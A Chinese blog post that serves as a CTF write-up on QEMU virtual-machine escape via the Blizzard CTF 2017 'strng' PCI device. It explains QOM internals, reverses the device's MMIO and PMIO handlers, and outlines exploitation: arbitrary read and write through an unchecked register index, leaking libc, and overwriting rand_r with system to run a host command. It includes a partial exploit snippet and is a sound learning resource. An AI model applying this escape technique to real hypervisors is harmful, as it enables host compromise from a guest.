首页
社区
课程
招聘
[原创]QEMU逃逸初探
2021-1-22 00:05 18481

[原创]QEMU逃逸初探

2021-1-22 00:05
18481

一直想入门一下虚拟化安全这一块,前一阵一直在研究内核方向的内容,正好这几天也换一换脑子。

 

目录

 

本文目标:

 

1.对 QEMU虚拟机 结构有一个初步的介绍及认识。

 

2.初识 QOM(Qemu Object Model) 对象模型。

 

3.通过分析 Blizzard CTF 2017 练习qemu调试等内容。

 

4.实现 qemu逃逸 弹个 gnome-calculator。

 

题目:Blizzard CTF 2017

 

strng虚拟机的源码如下:

 

https://github.com/rcvalle/blizzardctf2017/blob/master/strng.c

qemu overview

内存布局

在虚拟机中不论是kvm还是qemu有几个关键的地址。

 

GVA:guest virtual address(虚拟机中的虚拟地址)

 

GPA:guest physical address(虚拟机中的物理地址)

 

HVA:host virtual address(宿主机中的虚拟地址)

 

HPA: host physical address(宿主机中的物理地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
                        Guest' processes
                     +--------------------+
Virtual addr space   |                    |
                     +--------------------+                                    (GVA)
                     |                    |
                     \__   Page Table     \__
                        \                    \
                         |                    |  Guest kernel
                    +----+--------------------+----------------+
Guest's phy. memory |    |                    |                |            (GPA)
                    +----+--------------------+----------------+
                    |                                          |
                    \__                                        \__
                       \                                          \
                        |             QEMU process                 |
                   +----+------------------------------------------+
Virtual addr space |    |                                          |         (HVA)
                   +----+------------------------------------------+
                   |                                               |
                    \__                Page Table                   \__
                       \                                               \
                        |                                               |
                   +----+-----------------------------------------------++
Physical memory    |    |                                               ||    (HPA)
                   +----+-----------------------------------------------++

这里跟kvm一样。HVA对应GPA。

 

整体地址的话:从GVA -> GPA -> HVA -> HPA 这样的转换。

 

而GPA实际是由宿主机进程mmap出来的空间。

 

而在qemu-kvm架构下,QEMU充当kvm的前端,传递IO。kvm负责做内存以及CPU的虚拟化。

 

我们使用如下脚本启动 strng 虚拟机。

1
2
3
4
5
6
7
8
9
10
./qemu-system-x86_64 \
    -m 1G \
    -device strng \
    -hda my-disk.img \
    -hdb my-seed.img \
    -nographic \
    -L pc-bios/ \
    -enable-kvm \
    -device e1000,netdev=net0 \
    -netdev user,id=net0,hostfwd=tcp::5555-:22

注意最后一行将22端口映射到宿主机的5555端口。所以我们可以通过:

1
ssh ubuntu@127.0.0.1 -p 5555

登录虚拟机。

 

VM escape - QEMU Case Study 中给出了一个 mmu.c 用来做地址转换,其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
---[ mmu.c ]---
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
 
#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)    //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)
 
int fd;
 
uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}
 
uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}
 
uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);//这里的addr属于gva,获取对应的page frame number
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);//返回对应的GPA
}
 
int main()
{
    uint8_t *ptr;
    uint64_t ptr_mem;
 
    fd = open("/proc/self/pagemap", O_RDONLY);    //通过读取pagemap文件,可以得到进程从虚拟地址到物理地址映射的信息
    if (fd < 0) {
        perror("open");
        exit(1);
    }
 
    ptr = malloc(256);            //首先开256的空间
    strcpy(ptr, "Where am I?"); //将字符串拷贝过去
    printf("%s\n", ptr);       
    ptr_mem = gva_to_gpa(ptr);    //guest virtual mem -> guest physicals mem
 
    //此时的ptr_mem对应的是虚拟机里字符串所在的物理内存地址。
    printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
 
    getchar();
    return 0;
}

官方文档:https://www.kernel.org/doc/Documentation/vm/pagemap.txt

 

这个mmu.c是要跑在我们虚拟机里的。

 

用户名:ubuntu,密码:passw0rd。

 

编译mmu.c:

1
root@ubuntu:~/strng# gcc mmu.c -static -m32 -o mmu

然后将其scp到虚拟机里:

1
2
3
4
5
6
7
root@ubuntu:~/strng# scp -P5555 mmu ubuntu@127.0.0.1:/home/ubuntu
The authenticity of host '[127.0.0.1]:5555 ([127.0.0.1]:5555)' can't be established.
ECDSA key fingerprint is SHA256:zoKoYVjPeMIA7zfSHVgA4+Q9bMN1IExTtD0rxTU7cLg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[127.0.0.1]:5555' (ECDSA) to the list of known hosts.
ubuntu@127.0.0.1's password:
mmu

可以看到已经有了如下内容

1
2
ubuntu@ubuntu:~$ ls
mmu

然后sudo运行:

1
2
3
4
ubuntu@ubuntu:~$ sudo ./mmu
sudo: unable to resolve host ubuntu
Where am I?
Your physical address is at 0x30bda008

接下来使用qemu attach上去:

1
2
root@ubuntu:~/strng# ps -ef | grep qemu
root      20265  20264  0 Jan18 pts/2    00:03:36 ./qemu-system-x86_64 -m 1G -device strng -hda my-disk.img -hdb my-seed.img -nographic -L pc-bios/ -enable-kvm -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::5555-:22

首先找出qemu的进程pid,然后attach:

 

 

之后我们找到这里:

 

 

可以看到对应的就是我们这个字符串的地址:

 

 

0x7fc0a7e00000 就是我们虚拟机的物理地址为0的位置。

IO交互

通过源码我们可以看到,strng主要实现了:strng_pmio_xxxx 以及 strng_mmio_xxxx 也就是mmio和pmio这两个东西。

mmio(内存映射IO)

简单来说就是IO设备与内存共享同样的地址空间,以此来进行交互。

pmio(端口映射IO)

内存和I/O设备有各自的地址空间,不共享内存(被隔离)。而通过 in、out、outw,、outl 等指令实现交互。

STRNG PCI设备

PCI 是 Peripheral Component Interconnect 的缩写。

 

Q:什么是PCI设备?

 

A:符合 PCI 总线标准的设备就被称为 PCI 设备,PCI 总线架构中可以包含多个 PCI 设备。图中的 Audio、LAN 都是一个 PCI 设备。PCI 设备同时也分为主设备和目标设备两种,主设备是一次访问操作的发起者,而目标设备则是被访问者。

 

 

而在我们的strng虚拟机中:

1
2
3
4
5
6
7
8
ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)    //主板芯片
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)                    //显卡
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)//网卡

lspci查看我们的pci设备。再看启动命令,发现有一行:

1
-device strng \

实际这就是告诉我们,strng是以虚拟机中的一个 pci设备 存在的。

 

通过阅读源码,我们也可发现确实有一个函数负责pci设备(strng)的注册:pci_strng_register_types()

 

而在lspci的内容中我们发现了:

1
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)

这样一行unclassfied的设备。他的设备 id是0x11e9,猜测这个就是strng。

 

根据 https://man7.org/linux/man-pages/man8/lspci.8.html

 

lspci输出的内容对应的格式如下:[domain:]bus:device.function

 

lspci -t -v 可以树状显示。

1
2
3
4
5
6
7
8
ubuntu@ubuntu:~$ lspci -t -v
-[0000:00]-+-00.0  Intel Corporation 440FX - 82441FX PMC [Natoma]
           +-01.0  Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
           +-01.1  Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
           +-01.3  Intel Corporation 82371AB/EB/MB PIIX4 ACPI
           +-02.0  Device 1234:1111
           +-03.0  Device 1234:11e9
           \-04.0  Intel Corporation 82540EM Gigabit Ethernet Controller

那么 strng 的总线对应的就是 00:03.0 ,域为[0000]

 

通过 lspci -v

1
2
3
4
5
6
7
8
ubuntu@ubuntu:~$ lspci -v
 
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
    Subsystem: Red Hat, Inc Device 1100
    Physical Slot: 3
    Flags: fast devsel
    Memory at febf1000 (32-bit, non-prefetchable) [size=256]    //这里给出了mmio的地址空间0xfebf1000
    I/O ports at c050 [size=8]                                    //pmio端口为0xc050

我们可以查看显示所有设备的详细信息。

 

我们可以得到如下两个有用的信息:

  • MMIO的地址空间0xfebf1000
  • PMIO对应的端口为0xc050

接下来,我们可以通过 ls -la /sys/devices/pci0000\:00/0000\:00\:03.0/ 查看其对应的 resource 文件。

1
2
3
4
5
ubuntu@ubuntu:~$ ls -la /sys/devices/pci0000\:00/0000\:00\:03.0/
 
-r--r--r--  1 root root 4096 Jan 19 11:51 resource
-rw-------  1 root root  256 Jan 19 14:36 resource0
-rw-------  1 root root    8 Jan 19 14:36 resource1

resource0 对应MMIO空间。

 

resource1 对应PMIO空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
 
/*   start addr           end addr                flags      */
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200    (MMIO)
0x000000000000c050 0x000000000000c057 0x0000000000040101    (PMIO)
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

从左至右依次是:起始地址、结束地址、标志位。

 

第一行是MMIO、第二行是PMIO。

从QOM(Qemu Object Model)模型看strng源码

虽然是第一次接触qemu-pwn,不过对于著名的QOM模型早已经有所耳闻,于是就跟着QOM模型梳理一下strng的源码,加深一下理解。

什么是QOM(Qemu Object Model)?

Everything in QOM is a device

 

QOM是QEMU 在C的基础上自己实现的一套面向对象机制,负责将device、bus等设备都抽象成为对象。

 

下面给出一些重要的QOM Terminology(术语)

 

来源:https://www.linux-kvm.org/images/f/f6/2012-forum-QOM_CPU.pdf

 

• Type(类型) ‒ Defines class

 

• Class(类) ‒ Stores static data & virtual method pointers ‒ Lazily initialized from type and, optionally, static data(存储静态数据以及一些函数指针)

 

• Object(对象) ‒ Stores dynamic data (“chunk of allocated memory”) (储存动态数据)

 

• Property(属性) ‒ Accessor to dynamic object data ‒ Inspectable via monitor interface(访问对象中的动态数据,通过interface可以进行监控)

QOM如何工作?

在QOM中有几个重要的结构体

 

https://github.com/qemu/qemu/blob/master/include/qom/object.h

(1)TypeInfo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct TypeInfo
{       
    const char *name;                       
    const char *parent;                        //父类
 
    size_t instance_size;
    size_t instance_align;
    void (*instance_init)(Object *obj);        //实例初始化函数
    void (*instance_post_init)(Object *obj);
    void (*instance_finalize)(Object *obj);    //实例“析构”函数
 
    bool abstract;                            //是否为抽象类
    size_t class_size;                        //类大小,官方文档中提出.class_size字段设置为sizeof(MyClass)
 
    void (*class_init)(ObjectClass *klass, void *data);    //在所有父类被初始化完成后调用的子类初始化函数,可用于override virtual methods
    void (*class_base_init)(ObjectClass *klass, void *data);
    void *class_data;
 
    InterfaceInfo *interfaces;                //封装了const char *type;
};

类比到 strng 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
static void pci_strng_register_types(void)
{
    static const TypeInfo strng_info = {    //这里就是一个TypeInfo结构体
        .name          = "strng",
        .parent        = TYPE_PCI_DEVICE,    //父类为 TYPE_PCI_DEVICE
        .instance_size = sizeof(STRNGState),
        .instance_init = strng_instance_init,
        .class_init    = strng_class_init,    //类初始化,虚函数覆写
    };
 
    type_register_static(&strng_info);
}
type_init(pci_strng_register_types)

可以看到,在 pci_strng_register_types 中首先定义了 TypeInfo strng_info 并对其中一些内容进行赋值。

 

在代码最后部分,首先调用 type_init() 负责注册。

1
2
3
4
5
6
7
#define type_init(function) module_init(function, MODULE_INIT_QOM)
 
#define module_init(function, type)                                        \
static void __attribute__((constructor)) do_qemu_init_ ## function(void)
{                                                                            \
    register_module_init(function,type);                                   \
}

最终调用了 register_module_init()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
typedef struct ModuleEntry
{
    void (*init)(void);
    QTAILQ_ENTRY(ModuleEntry) node;
    module_init_type type;
} ModuleEntry;
 
static void init_lists(void)
{
    static int inited;
    int i;
 
    if (inited) {
        return;
    }
 
    for (i = 0; i < MODULE_INIT_MAX; i++) {
        QTAILQ_INIT(&init_type_list[i]);
    }
 
    QTAILQ_INIT(&dso_init_list);
 
    inited = 1;
}
 
 
static ModuleTypeList *find_type(module_init_type type)
{
    init_lists();
 
    return &init_type_list[type];
}
 
void register_module_init(void (*fn)(void), module_init_type type)
{
    ModuleEntry *e;
    ModuleTypeList *l;
 
    e = g_malloc0(sizeof(*e));
    e->init = fn;
    e->type = type;
 
    l = find_type(type);        //调用init_lists()做了初始化
 
    QTAILQ_INSERT_TAIL(l, e, node);
}

主要做了如下事情:

  1. malloc一个新的 ModuleEntry 结构体。并插入 init_type_list[Module_Init_Type] 链表中。
  2. ModuleEntryinit 函数指针赋值为 fn 。(这个 init 也是当前这个 module 的初始化函数)

而需要注意的是,由于 __attribute__((constructor)) 的存在,这一部分内容作为 构造函数 都将在main函数之前调用。

 

具体的规则可以看:

 

C Language Constructors and Destructors with GCC

 

总结一下:

 

在QEMU真正启动之前,所有 module_entry 都被插入 init_type_list 。并且已经确定了初始化函数。

 

而接下来,在qemu启动阶段main函数调用的时候,会对 init_type_list[Module_Init_Type] 链表中的每一个 ModuleEntry 调用其 init 函数。所以对于我们的strng里就是 pci_strng_register_types()

 

pci_strng_register_types() 中首先对设备的一些信息做了初始化,接着调用了:type_register_static(&strng_info)

(2)TypeImpl

定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct TypeImpl
{
    const char *name;
 
    size_t class_size;
 
    size_t instance_size;
    size_t instance_align;
 
    void (*class_init)(ObjectClass *klass, void *data);
    void (*class_base_init)(ObjectClass *klass, void *data);
 
    void *class_data;
 
    void (*instance_init)(Object *obj);
    void (*instance_post_init)(Object *obj);
    void (*instance_finalize)(Object *obj);
 
    bool abstract;
 
    const char *parent;
    TypeImpl *parent_type;
 
    ObjectClass *class;                        //指向 ObjectClass 的指针
 
    int num_interfaces;
    InterfaceImpl interfaces[MAX_INTERFACES];
};

type_register_static(&strng_info) 最终调用了 type_register_internal(&strng_info)

1
2
3
4
5
6
7
8
static TypeImpl *type_register_internal(const TypeInfo *info)
{
    TypeImpl *ti;
    ti = type_new(info); //根据info信息,创建一个TypeImpl对象
 
    type_table_add(ti); //将新建的TypeImpl对象注册到全局哈希表 type_table 中
    return ti;
}

至此,这个 ModuleEntryTypeImpl表 中的注册就算完成了。

(3)ObjectClass

ObjectClass是所有class的基类,定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
struct ObjectClass
{
    /* private: */
    Type type;
    GSList *interfaces;
 
    const char *object_cast_cache[OBJECT_CLASS_CAST_CACHE];
    const char *class_cast_cache[OBJECT_CLASS_CAST_CACHE];
 
    ObjectUnparent *unparent;
 
    GHashTable *properties;
};

在前面几步中,实际上我们只完成了 Module的注册,而没有真正完成 类的初始化

 

接下来我们通过 TypeInfo strng_info 中的 .class_init = strng_class_init 简单看一下 Type(类)的初始化

 

在初始化每一个 type 的时候调用的是: type_initialize 函数。

 

给出对应的注释后的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
static void type_initialize(TypeImpl *ti)    //针对每一个注册的 TypeImpl 去做type 初始化
{
    TypeImpl *parent;
 
    //在 TypeImpl 中有 ObjectClass *class   
    if (ti->class) {        //如果 ti->class存在,那么说明初始化过了,直接return
        return;
    }
 
    ti->class_size = type_class_get_size(ti);
    ti->instance_size = type_object_get_size(ti);
 
    if (ti->instance_size == 0) {    //如果instance_size为0,标记为抽象类
        ti->abstract = true;
    }
    if (type_is_ancestor(ti, type_interface)) {
         ......
    }
    ti->class = g_malloc0(ti->class_size);
 
    parent = type_get_parent(ti);  // 是否有父类?即是否存在继承关系?
    if (parent) {                   // 如果存在继承关系的话
        type_initialize(parent);   //初始化父类
        GSList *e;
        int i;
 
        g_assert(parent->class_size <= ti->class_size);
        g_assert(parent->instance_size <= ti->instance_size);
        memcpy(ti->class, parent->class, parent->class_size);//首先用父类数据 初始化
        ti->class->interfaces = NULL;
 
        for (e = parent->class->interfaces; e; e = e->next) {
            InterfaceClass *iface = e->data;
            ObjectClass *klass = OBJECT_CLASS(iface);
 
            type_initialize_interface(ti, iface->interface_type, klass->type);//初始化对应接口
        }
 
        for (i = 0; i < ti->num_interfaces; i++) {
            TypeImpl *t = type_get_by_name(ti->interfaces[i].typename);
            if (!t) {
                error_report("missing interface '%s' for object '%s'",
                             ti->interfaces[i].typename, parent->name);
                abort();
            }
            for (e = ti->class->interfaces; e; e = e->next) {
                TypeImpl *target_type = OBJECT_CLASS(e->data)->type;
 
                if (type_is_ancestor(target_type, t)) {
                    break;
                }
            }
 
            if (e) {
                continue;
            }
 
            type_initialize_interface(ti, t, t);    //初始化接口
        }
    }
 
    /* 建立存放属性的hash*/
    ti->class->properties = g_hash_table_new_full(g_str_hash, g_str_equal, NULL,
                                                  object_property_free);
 
    ti->class->type = ti;
 
    while (parent) {
        /* 对于父类来说,如果定义了class_base_init,就调用它 */
        if (parent->class_base_init) {
            parent->class_base_init(ti->class, ti->class_data);
        }
        parent = type_get_parent(parent);
    }
 
    /* 调用当前TypeImpl的class_init */
    if (ti->class_init) {
        ti->class_init(ti->class, ti->class_data);
    }
}

注意,此处的我们说的类实际是 类对象,对应基类ObjectClass

(4)Object

Object是 类实例对象,是所有 类实例对象的基类

1
2
3
4
5
6
7
8
9
struct Object
{
    /* private: */
    ObjectClass *class;        //class指向对应的类对象,ObjectClass和Object通过他来联系
    ObjectFree *free;       
    GHashTable *properties;//对应的属性
    uint32_t ref;            //引用计数
    Object *parent;           //指向父类实例对象
};

在我们初始化了对应的 ObjectClass 后,接下来初始化 Object

 

Object的创建由 k->realize = pci_testdev_realize; 函数实现,不同于 type 和 class 的构造,Object根据需要创建的。

 

而一个Object对应着一个我们指定的具体的device

 

比如:

1
2
3
1 ./qemu-system-x86_64 \
2     -m 1G \
3     -device strng \

这里的strng。

 

我们以strng为例,用户可以定义Type的自己的Object结构体,继承自PCIDevice

 

其初始化由:pci_strng_realize(PCIDevice *pdev, Error **errp) 负责。

1
2
3
4
5
6
7
8
9
static void pci_strng_realize(PCIDevice *pdev, Error **errp)
{
    STRNGState *strng = DO_UPCAST(STRNGState, pdev, pdev);// DO_UPCAST实现了在继承链之间的强制转换
 
    memory_region_init_io(&strng->mmio, OBJECT(strng), &strng_mmio_ops, strng, "strng-mmio", STRNG_MMIO_SIZE);
    pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &strng->mmio);
    memory_region_init_io(&strng->pmio, OBJECT(strng), &strng_pmio_ops, strng, "strng-pmio", STRNG_PMIO_SIZE);
    pci_register_bar(pdev, 1, PCI_BASE_ADDRESS_SPACE_IO, &strng->pmio);
}

其中的 STRNGState 定义如下:

1
2
3
4
5
6
7
8
9
10
typedef struct {
    PCIDevice pdev;
    MemoryRegion mmio;
    MemoryRegion pmio;
    uint32_t addr;
    uint32_t regs[STRNG_MMIO_REGS];
    void (*srand)(unsigned int seed);
    int (*rand)(void);
    int (*rand_r)(unsigned int *seed);
} STRNGState;

至此 QOM最基本的四个type相关的结构体就介绍完了。

 

初始化顺序可以认为是:TypeInfo -> TypeImpl -> ObjectClass -> Object(自选)

(5)MemoryRegion

qemu使用 MemoryRegion 来表示对应的内存空间,相应的每一个 MemoryRegion 都有对应的 MemoryRegionOps 来描述其操做。

 

比如在strng中举这样一对儿例子:

1
2
3
4
5
6
7
8
9
10
11
typedef struct {
    PCIDevice pdev;
    MemoryRegion mmio;    //mmio内存空间
    ......
} STRNGState;
 
static const MemoryRegionOps strng_mmio_ops = {    //mmio空间对应的操作
    .read = strng_mmio_read,                    //对mmio空间的read由strng_mmio_read实现
    .write = strng_mmio_write,                    //对mmio空间的write由strng_mmio_write实现
    .endianness = DEVICE_NATIVE_ENDIAN,
};

有点类似于内核中的 file ops。

(6)其他

出了前四个结构体,还有 属性 之类的结构体等等,不过跟我们这里准备看的关系不大,就不赘述了。有兴趣的可以自行了解。

1
2
3
4
5
6
7
8
9
10
11
struct Property {
    const char   *name;
    PropertyInfo *info;
    ptrdiff_t    offset;
    uint8_t      bitnr;
    QType        qtype;
    int64_t      defval;
    int          arrayoffset;
    PropertyInfo *arrayinfo;
    int          arrayfieldsize;
};

Property 作为属性模板,用于创建属性对象。

1
2
3
4
5
6
7
8
9
10
11
typedef struct ObjectProperty
{
    gchar *name;
    gchar *type;
    gchar *description;
    ObjectPropertyAccessor *get;
    ObjectPropertyAccessor *set;
    ObjectPropertyResolve *resolve;
    ObjectPropertyRelease *release;
    void *opaque;
} ObjectProperty;

同时,属性又分为静态属性与动态属性。

题目概览

直接把qemu拉到ida里逆向。

 

然后去搜索strng。

 

首先将函数中的 opaque参数 进行 Set Ivar typeSTRNGState *,注意不是转成 struct *,此时的 STRNGState 已经是typedef后的一个type了。

 

然后再去structures里找。

 

在IDA中的 STRNGState 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
00000000 ; Ins/Del : create/delete structure
00000000 ; D/A/*   : create structure member (data/ascii/array)
00000000 ; N       : rename structure or structure member
00000000 ; U       : delete structure member
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 STRNGState      struc ; (sizeof=0xC10, align=0x10, copyof_3816)
00000000 pdev            PCIDevice_0 ?
000008F0 mmio            MemoryRegion_0 ?
000009F0 pmio            MemoryRegion_0 ?
00000AF0 addr            dd ?
00000AF4 regs            dd 64 dup(?)
00000BF4                 db ? ; undefined
00000BF5                 db ? ; undefined
00000BF6                 db ? ; undefined
00000BF7                 db ? ; undefined
00000BF8 srand           dq ?                    ; offset
00000C00 rand            dq ?                    ; offset
00000C08 rand_r          dq ?                    ; offset
00000C10 STRNGState      ends
00000C10

strng_mmio_read

1
2
3
4
5
6
7
8
9
uint64_t __fastcall strng_mmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax
 
  result = -1LL;
  if ( size == 4 && (addr & 3) == 0 )
    result = opaque->regs[addr >> 2];
  return result;
}

mmio读的操作,如果size=4,并且addr是4的倍数。

 

那么取 STRNGState 中regs区域中2addr 的内容返回。即 (&regs + 2*addr)返回。

strng_mmio_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __fastcall strng_mmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  hwaddr choice; // rsi
  int v5; // eax
  int vala; // [rsp+8h] [rbp-30h]
 
  if ( size == 4 && (addr & 3) == 0 )//当size为4,且addr是4的倍数
  {
    choice = addr >> 2;                 //choice = addr*1/4
    if ( choice == 1 )                
    {
      opaque->regs[1] = (opaque->rand)(opaque, choice, val);//调用rand,放回值放在regs[1]
    }
    else if ( choice )
    {
      if ( choice == 3 )                                    //choice = 3
      {
        vala = val;
        v5 = opaque->rand_r(&opaque->regs[2]);                //调用rand_r()
        LODWORD(val) = vala;
        opaque->regs[3] = v5;
      }
      opaque->regs[choice] = val;                            //这里可以通过控制addr直接将val放到regs[choice],choice可以越界
    }
    else
    {
      opaque->srand(val);
    }
  }
}

首先 Choice = addr* 1/4

  • 当choice=0时,直接调用srand,参数为 val,不管返回值
  • 当choice=1时,调用rand(),参数为 opaque, choice, val,返回值放在regs[1]
  • 当choice=3时,调用rand_r(),参数为regs[2]的地址,返回值放在regs[3]
  • 当choice不为以上时,直接将val写到regs[choice]的位置,而choice可控(1/4 * addr)。意味着我们有机会进行任意地址写。

已知我们的 MMIO空间为0到255,总共256大小。

尝试利用MMIO进行越界写

我们先打开对应的 /sys/devices/pci0000\:00/0000\:00\:03.0/resource0 ,然后将其以 MAP_SHARED 映射。那么我们可以通过操作这一块映射空间来读写操作mmio空间。

 

接下来只要addr越界即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void * mmio_mem;
 
uint64_t mmio_read(uint32_t addr){
    return *( (uint32_t *)mmio_mem + addr );
}
 
void mmio_write(uint32_t addr,uint64_t val ){
    *((uint32_t *)mmio_mem + addr) = val;
}
 
 
int main(){
 
    int mmio_fd = open("/sys/devices/pci0000\:00/0000\:00\:03.0/resource0",O_RDWR | O_SYNC);
    if(mmio_fd==-1){  perror("mmio failed");exit(-1);  }
 
    mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,mmio_fd,0);
    if(mmio_mem == MAP_FAILED){ perror("map mmio failed");exit(-1);}
    printf("addr of mmio:%p\n",mmio_mem);
 
    getchar();
    mmio_write(260,0x677a7967); //out of bound
    return 0;
}

但是实际调试的过程中,我发现根本就写不上去。

 

If you are thinking, “oh we have out-of-bound access here because addr is not checked anywhere”, you would be wrong. The PCI device internally checks if the addr you are trying to access is within the boundaries of the MMIO thus only 256 bytes.

 

PCI设备在内部会检查这个地址是否越界,所以这里的任意写其实无法利用。

strng_pmio_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
uint64_t __fastcall strng_pmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax
  uint32_t index; // edx
 
  result = -1LL;
  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 )
      {
        index = opaque->addr;
        if ( (index & 3) == 0 )
          result = opaque->regs[index >> 2];   
      }
    }
    else
    {
      result = opaque->addr;
    }
  }
  return result;
}

这里可以看到:

  • 当我们传入的addr=4时,以 opaque->addr >> 2 为索引index读取regs[index],并返回
  • 当我们传入的addr为0时,直接返回 opaque->addr

如果我们可以控制 opaque->addr 那么就相当于控制了下标,可以进行任意读了。

strng_pmio_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void __fastcall strng_pmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t v4; // eax
  __int64 v5; // rax
 
  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 )
      {
        v4 = opaque->addr;
        if ( (v4 & 3) == 0 )
        {
          v5 = v4 >> 2;
          if ( v5 == 1 )
          {
            opaque->regs[1] = (opaque->rand)(opaque, 4LL, val);
          }
          else if ( v5 )
          {
            if ( v5 == 3 )
              opaque->regs[3] = (opaque->rand_r)(&opaque->regs[2], 4LL, val);
            else
              opaque->regs[v5] = val;        //控制 opaque->addr 后,在这里可以进行任意写
          }
          else
          {
            opaque->srand(val);
          }
        }
      }
    }
    else
    {
      opaque->addr = val;        //addr=0时,可以配合pmio_read实现任意读
    }
  }
}

刚刚的pmio_read我们得出结论,如果能控制 opaque->addr ,那么就可以做到任意读取。

 

(1)而在pmio_write中 当addr为0时,可以直接控制 opaque->addr = val ,也就是说此时我们的 任意读 已经有了。

 

(2)而当我们能控制 opaque->addr 后,相当于我们可以控制v5,v5 = (opaque->addr>>2),进而如果v5不等于3,可以通过v5来做任意写

 

(3)当v5等于3时,会对 opaque->rand_r 产生一个调用,第一个参数为 opaque->regs[2]的地址 ,如果我们将regs[2]处的内容写成某个命令。然后任意读rand_r地址,计算libc,任意写 为system,那么就可以实现 任意命令执行

漏洞利用

总结一下思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
00000000 STRNGState      struc ; (sizeof=0xC10, align=0x10, copyof_3816)
00000000 pdev            PCIDevice_0 ?
000008F0 mmio            MemoryRegion_0 ?
000009F0 pmio            MemoryRegion_0 ?
00000AF0 addr            dd ?
00000AF4 regs            dd 64 dup(?)
00000BF4                 db ? ; undefined
00000BF5                 db ? ; undefined
00000BF6                 db ? ; undefined
00000BF7                 db ? ; undefined
00000BF8 srand           dq ?                    ; offset
00000C00 rand            dq ?                    ; offset
00000C08 rand_r          dq ?                    ; offset
00000C10 STRNGState      ends

(1)首先将字符串 “gnome-calculator” 通过MMIO_write写到regs[2]的位置。

 

(2)通过控制 opaque->addr = val 进行任意读取,读srand的地址,计算libc。

 

